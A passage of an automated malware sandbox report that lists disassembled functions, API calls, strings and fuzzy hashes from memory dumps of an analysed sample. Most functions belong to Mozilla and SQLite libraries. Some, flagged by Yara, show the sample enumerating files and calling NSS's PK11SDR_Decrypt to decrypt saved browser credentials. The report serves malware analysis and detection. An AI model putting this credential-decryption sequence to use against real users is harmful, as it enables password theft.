unicode61, xrefs: 6CDCEDB5
simple, xrefs: 6CDCED79
fts3, xrefs: 6CDCF247
fts4, xrefs: 6CDCF2AD
offsets, xrefs: 6CDCEFAF, 6CDCEFDF, 6CDCF01F
optimize, xrefs: 6CDCF199, 6CDCF1CC, 6CDCF211
porter, xrefs: 6CDCED97
snippet, xrefs: 6CDCEF05, 6CDCEF37, 6CDCEF7C
fts3_tokenizer, xrefs: 6CDCEE1A, 6CDCEEA8

Memory Dump Source

Source File: 00000000.00000002.2416036924.000000006CD61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD60000, based on PE: true

Associated: 00000000.00000002.2416019055.000000006CD60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2416177741.000000006CEFF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2416214710.000000006CF3E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2416231818.000000006CF3F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2416249980.000000006CF40000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2416270467.000000006CF45000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd60000_4JgB4mYxvJ.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 561ed32843af499b96e0aa7cad2c55244a28d5370b3224c2bb21f97d3209ba65
Instruction ID: 2e67ea7b081e67ceadea3e9493e58ef020dabe81328c71d8b9af2b25e54705ba
Opcode Fuzzy Hash: 561ed32843af499b96e0aa7cad2c55244a28d5370b3224c2bb21f97d3209ba65
Instruction Fuzzy Hash: 720204B1B143009BE704AF71A8817AB36BA6FC570CF14853DD85A97B21EB74E846C793

Uniqueness

Uniqueness Score: -1.00%

Function 6CCBFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CD2E7B8), ref: 6CCBFF81
LeaveCriticalSection.KERNEL32(6CD2E7B8), ref: 6CCC022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CCC0240
EnterCriticalSection.KERNEL32(6CD2E768), ref: 6CCC025B
LeaveCriticalSection.KERNEL32(6CD2E768), ref: 6CCC027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CCC0D67, 6CCC0D7B, 6CCC0DAC
<jemalloc>, xrefs: 6CCC0D62, 6CCC0D76, 6CCC0DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CCBFE99, 6CCBFEB7, 6CCBFED3, 6CCC0DB8, 6CCC0DD3, 6CCC19B4

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 371b38273f54868fb47f751052858386c1016591df7f5ee24910490b05348cfe
Instruction ID: d420f37bd0cf8f5ec2fa7e4930f2949646e96345194a4b40458925c6562e98e6
Opcode Fuzzy Hash: 371b38273f54868fb47f751052858386c1016591df7f5ee24910490b05348cfe
Instruction Fuzzy Hash: 04C2C0B1B057418FD714CF29C480716BBE1BF85328F28C66DE5AA8B795E771E841CB82

Uniqueness

Uniqueness Score: -1.00%

Function 6CD0E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6CD0E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD0EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CD0EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD0EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD0F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CD0F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD10E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CD10E54
memcpy.VCRUNTIME140(?,?,?), ref: 6CD10EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6CD10ED4

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 07f3a2147cb639505d64d8165d49712e136b45f3f4841d423e0556826a90a354
Instruction ID: f5b200f80be4c1fe94215da9b6975d654abf10d44e84aa0a2f59d9b1ee288271
Opcode Fuzzy Hash: 07f3a2147cb639505d64d8165d49712e136b45f3f4841d423e0556826a90a354
Instruction Fuzzy Hash: 6F637D71E0425ACFCB04CFACD89069DFBB2FF89310F298269D855ABB55D730A945CB90

Uniqueness

Uniqueness Score: -1.00%

Function 004121F0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00412200
HeapAlloc.KERNEL32(00000000), ref: 00412207
wsprintfA.USER32 ref: 00412223
FindFirstFileA.KERNEL32(?,?), ref: 0041223A
StrCmpCA.SHLWAPI(?,0041D84C), ref: 00412268
StrCmpCA.SHLWAPI(?,0041D850), ref: 0041227E
FindNextFileA.KERNEL32(000000FF,?), ref: 004122FF
FindClose.KERNEL32(000000FF), ref: 00412314
lstrcat.KERNEL32(?,042C3658), ref: 00412339
lstrcat.KERNEL32(?,042C6F38), ref: 0041234C
lstrlen.KERNEL32(?), ref: 00412359
lstrlen.KERNEL32(?), ref: 0041236A

Strings

%s\%s, xrefs: 00412295
%s\*, xrefs: 00412217

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 13328894-2848263008
Opcode ID: 92269801ec56706d49fbc1ad71996fa168eab42beab98886f9fc838609930503
Instruction ID: 68eafe57ffc654504e5fb8166b756e3a47007b1446461b295be9b39175aa6662
Opcode Fuzzy Hash: 92269801ec56706d49fbc1ad71996fa168eab42beab98886f9fc838609930503
Instruction Fuzzy Hash: 5551A6B5940618ABCB20EBB0DC89FEE737DAB98300F404689F61A96150DF749BC5CF94

Uniqueness

Uniqueness Score: -1.00%

Function 6CCCED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CCCEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CCCEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CCD1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CCD16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CCD1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CCD1A3E

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 9b0959fcbee4b78786331548d9a71a78e274cb2009f23385fd40857928b8fb1f
Instruction ID: c2dab44c18d4547e43f1a244145f08a66f9ebd64e727c71cfbd20cf21f53af51
Opcode Fuzzy Hash: 9b0959fcbee4b78786331548d9a71a78e274cb2009f23385fd40857928b8fb1f
Instruction Fuzzy Hash: E8B32A71E04219CFCB14CFA9C890A9DB7B2FF89314F1981A9D549AB745E730AD86CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6CCBFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CD2E7B8), ref: 6CCBFF81
LeaveCriticalSection.KERNEL32(6CD2E7B8), ref: 6CCC022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CCC0240
EnterCriticalSection.KERNEL32(6CD2E768), ref: 6CCC025B
LeaveCriticalSection.KERNEL32(6CD2E768), ref: 6CCC027B

Strings

MOZ_CRASH(), xrefs: 6CCC0CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CCBFE99, 6CCBFEB7, 6CCBFED3, 6CCC0DB8, 6CCC0DD3, 6CCC19B4, 6CCC1A10

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: a0da21afd78d4b7589b65725cf8491c46fe32086626e73a554baffbe1f065353
Instruction ID: 35f3da9bde59229337672f1d7b6bd54310d5c09987519f8849493ddbd71a68ab
Opcode Fuzzy Hash: a0da21afd78d4b7589b65725cf8491c46fe32086626e73a554baffbe1f065353
Instruction Fuzzy Hash: FFB29C717057418FD714CF2AC590716BBE1BF85328F28C66CE9AA8BB95E770D841CB42

Uniqueness

Uniqueness Score: -1.00%

Function 6CD6ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CD6ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CD6EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CD6EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6CD6EF98

Strings

database corruption, xrefs: 6CD6F48D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CD6F483
%s at line %d of [%.10s], xrefs: 6CD6F492

Memory Dump Source

Source File: 00000000.00000002.2416036924.000000006CD61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD60000, based on PE: true

Associated: 00000000.00000002.2416019055.000000006CD60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2416177741.000000006CEFF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2416214710.000000006CF3E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2416231818.000000006CF3F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2416249980.000000006CF40000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2416270467.000000006CF45000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd60000_4JgB4mYxvJ.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 7777faaa92a5255159ded2bbc6466b13a0c0bb8cb707f7283dbdac3c21980902
Instruction ID: b610da7cdc4fdc4445a6c0007ec9fd878d295ddf7151b690ad4dbd7ebba9be55
Opcode Fuzzy Hash: 7777faaa92a5255159ded2bbc6466b13a0c0bb8cb707f7283dbdac3c21980902
Instruction Fuzzy Hash: 9962F370A04645CFDB14CF6AC84079ABBB2BF49318F18419DD8956BFA2D735EC86CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CCF2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCF2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6CCF2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCF3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CCF3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCF36BF

Strings

get , xrefs: 6CCF3205
MOZ_PROFILER_SYMBOLICATE, xrefs: 6CCF378D
set , xrefs: 6CCF36EC

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 41c59021740518f08d2cb741c3c0e3156b390138f29fc8fa0075999441f43731
Instruction ID: 568610bef4015e7345a54c308901acf0411e502acd9b3c79f0a6a0e2c8a73b48
Opcode Fuzzy Hash: 41c59021740518f08d2cb741c3c0e3156b390138f29fc8fa0075999441f43731
Instruction Fuzzy Hash: 37325F706083819FD7A5CF24C49069EBBE2AFC9318F58881DE5A987751EB30D94BCB53

Uniqueness

Uniqueness Score: -1.00%

Function 6CCCD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CD2E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CCDD1C5), ref: 6CCCD4F2
LeaveCriticalSection.KERNEL32(6CD2E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CCDD1C5), ref: 6CCCD50B

Part of subcall function 6CCACFE0: EnterCriticalSection.KERNEL32(6CD2E784), ref: 6CCACFF6
Part of subcall function 6CCACFE0: LeaveCriticalSection.KERNEL32(6CD2E784), ref: 6CCAD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CCDD1C5), ref: 6CCCD52E
EnterCriticalSection.KERNEL32(6CD2E7DC), ref: 6CCCD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CCCD6A6
LeaveCriticalSection.KERNEL32(6CD2E7DC), ref: 6CCCD712
LeaveCriticalSection.KERNEL32(6CD2E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CCDD1C5), ref: 6CCCD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CCCD7EA

Strings

<jemalloc>, xrefs: 6CCCD827
: (malloc) Error initializing arena, xrefs: 6CCCD82C

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: a7067ff9922cb4890a9964c9eeb0c847662332c1a3bf87b8c2e5fd905a0c71a6
Instruction ID: 83c037ccacb2f18d22df832da95a50c49602eecd53873c0f935523a5f56cb2d8
Opcode Fuzzy Hash: a7067ff9922cb4890a9964c9eeb0c847662332c1a3bf87b8c2e5fd905a0c71a6
Instruction Fuzzy Hash: CB91CF71B447018FE714CF29C49076AB7E5FB89318F15892EE69A87F85E734E844CB82

Uniqueness

Uniqueness Score: -1.00%

Function 6CCC5E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6CCC5EDB
memset.VCRUNTIME140(6CD07765,000000E5,55CCCCCC), ref: 6CCC5F27
LeaveCriticalSection.KERNEL32(?), ref: 6CCC5FB2
memset.VCRUNTIME140(6CD07765,000000E5,D2C09015), ref: 6CCC61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6CCC7652

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CCC730D
MOZ_CRASH(), xrefs: 6CCC7BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CCC72F8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CCC72E3
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CCC7BCD, 6CCC7C1F, 6CCC7C34, 6CCC80FD

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: e37593b9bd1394c50cd7d20eeff5b13940c3a11d7e75d85a5fdb9e18441ea380
Instruction ID: a5ab675e4e45ec60a2f34c80aaf2bf5ec5b63e6a4d808f7304b513bc922ccabe
Opcode Fuzzy Hash: e37593b9bd1394c50cd7d20eeff5b13940c3a11d7e75d85a5fdb9e18441ea380
Instruction Fuzzy Hash: 53335C71B05B018FD304CF29C590625BBE2FF85328F29C6ADE5698B7A5E771E841CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0040BF90 Relevance: 16.6, APIs: 11, Instructions: 93stringencryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040BFC3
lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,042C3758), ref: 0040BFE1
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040BFEC
PK11_GetInternalKeySlot.NSS3 ref: 0040BFFA
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0040C015
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0040C05B
memcpy.MSVCRT ref: 0040C082
lstrcat.KERNEL32(?,0041D726), ref: 0040C0B3
lstrcat.KERNEL32(?,0041D727), ref: 0040C0C7
PK11_FreeSlot.NSS3(?), ref: 0040C0D1
lstrcat.KERNEL32(?,0041D72A), ref: 0040C0E8

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlenmemcpymemset
String ID:
API String ID: 3428224297-0
Opcode ID: 52605990ea01bca17d675fac138a1e19a7de02da9981d5b01ff6e8c7352eb267
Instruction ID: c615a08a89d19efff62b5a0e6981dcd2a682f0599fa2db432923c9597831d409
Opcode Fuzzy Hash: 52605990ea01bca17d675fac138a1e19a7de02da9981d5b01ff6e8c7352eb267
Instruction Fuzzy Hash: 22417E75D0420ADBDB20CF90DD88BEEBBB9BB48340F1041A9E605A72C0DB745A84CF95

Uniqueness

Uniqueness Score: -1.00%

Function 6CD04EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CD04EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD04F2E
moz_xmalloc.MOZGLUE ref: 6CD04F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CD04F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD052B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD052E6
Sleep.KERNEL32(00000010), ref: 6CD05481
free.MOZGLUE(?), ref: 6CD05498

Strings

(, xrefs: 6CD05250

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 08ddfec962fdfdfdeb302da69424ad5232e34c226e47624c284ce7b7fb3455c6
Instruction ID: e38a07a89f79b380ad6e1582797276566094dd523d7f3ca2eeb9942d20852e08
Opcode Fuzzy Hash: 08ddfec962fdfdfdeb302da69424ad5232e34c226e47624c284ce7b7fb3455c6
Instruction Fuzzy Hash: 76F10271A18B508FD717CF38C85062BB7F9AFD6284F058B2EF946A3650EB31D4428B81

Uniqueness

Uniqueness Score: -1.00%

Function 0040D540 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,0041D746), ref: 0040D58E
StrCmpCA.SHLWAPI(?,0041DC28), ref: 0040D5DE
StrCmpCA.SHLWAPI(?,0041DC2C), ref: 0040D5F4
FindNextFileA.KERNEL32(000000FF,?), ref: 0040DB0A
FindClose.KERNEL32(000000FF), ref: 0040DB1C

Strings

\*.*, xrefs: 0040D556
[@, xrefs: 0040D562, 0040DB2A, 0040D623, 0040D5A5, 0040D626

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: [@$\*.*
API String ID: 2325840235-1445036518
Opcode ID: 38e3d6cce44b768a46b52d0f201da3e53e41ef1bf9bb4bc0dfdcbbefdde4abe9
Instruction ID: 5086e1dd9f189559ddbff5738d7534b81ef4efc7c2da90a7a59429af0ff5c2f4
Opcode Fuzzy Hash: 38e3d6cce44b768a46b52d0f201da3e53e41ef1bf9bb4bc0dfdcbbefdde4abe9
Instruction Fuzzy Hash: 27F1E3759142189ACB15FB61DC91EDE7739AF54304F8142DFA40A62091EF34AFC9CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CCF2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CCF2C61

Part of subcall function 6CCA4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CCA4E5A
Part of subcall function 6CCA4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CCA4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CCF2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CCF2E2D

Part of subcall function 6CCB81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CCB81DE

Strings

